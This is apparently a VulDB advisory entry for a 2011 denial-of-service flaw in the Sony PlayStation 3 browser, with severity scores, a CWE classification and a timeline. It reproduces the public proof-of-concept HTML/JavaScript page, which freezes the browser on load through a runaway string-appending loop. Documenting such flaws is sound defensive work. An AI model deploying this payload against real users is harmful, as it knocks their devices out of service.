Sony Playstation 3 Browser Freeze denial of service

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Summaryinfo

A vulnerability was found in Sony Playstation 3. It has been declared as problematic. The affected element is an unknown function of the component Browser. The manipulation results in denial of service (Freeze). The attack can be launched remotely. Moreover, an exploit is present. It is recommended to upgrade the affected component.

Detailsinfo

A vulnerability was found in Sony Playstation 3 (Game Console) (version now known). It has been classified as problematic. Affected is some unknown processing of the component Browser. The manipulation with an unknown input leads to a denial of service vulnerability (Freeze). CWE is classifying the issue as CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. This is going to have an impact on availability.

The weakness was disclosed 06/18/2011 as VL-ID 187 as not defined advisory (Website). The advisory is available at vulnerability-lab.com. It is possible to launch the attack remotely. The exploitation doesn't require any form of authentication. Technical details are unknown but a public exploit is available. This vulnerability is assigned to T1499 by the MITRE ATT&CK project.

A public exploit has been developed in HTML/Javascript and been published immediately after the advisory. The exploit is shared for download at vulnerability-lab.com. It is declared as proof-of-concept. The code used by the exploit is:

<head><script language="JavaScript" type="Text/Javascript">  
function x(y)
{
   for(var i=0;i<1000000;i++)
   {
      var u=document.body.getElementsByTagName("a")[0];
      u.href=u.href+y;
   }
}
</script></head>
<body onLoad="x(document.body.innerHTML)";><a href="x" />x</a>

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VulDB Meta Base Score: 5.3
VulDB Meta Temp Score: 4.6

VulDB Base Score: 5.3
VulDB Temp Score: 4.6
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Exploitinginfo

Name: Freeze
Class: Denial of service / Freeze
CWE: CWE-404
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Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
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Threat Intelligenceinfo

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Countermeasuresinfo

Recommended: Upgrade
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Timelineinfo

06/18/2011 🔍
06/18/2011 +0 days 🔍
09/12/2016 +1913 days 🔍
04/29/2019 +959 days 🔍

Sourcesinfo

Advisory: VL-ID 187
Status: Not defined

GCVE (VulDB): GCVE-100-91482
scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 09/12/2016 10:20
Updated: 04/29/2019 14:41
Changes: 09/12/2016 10:20 (44), 04/29/2019 14:41 (2)
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Cache ID: 216::103

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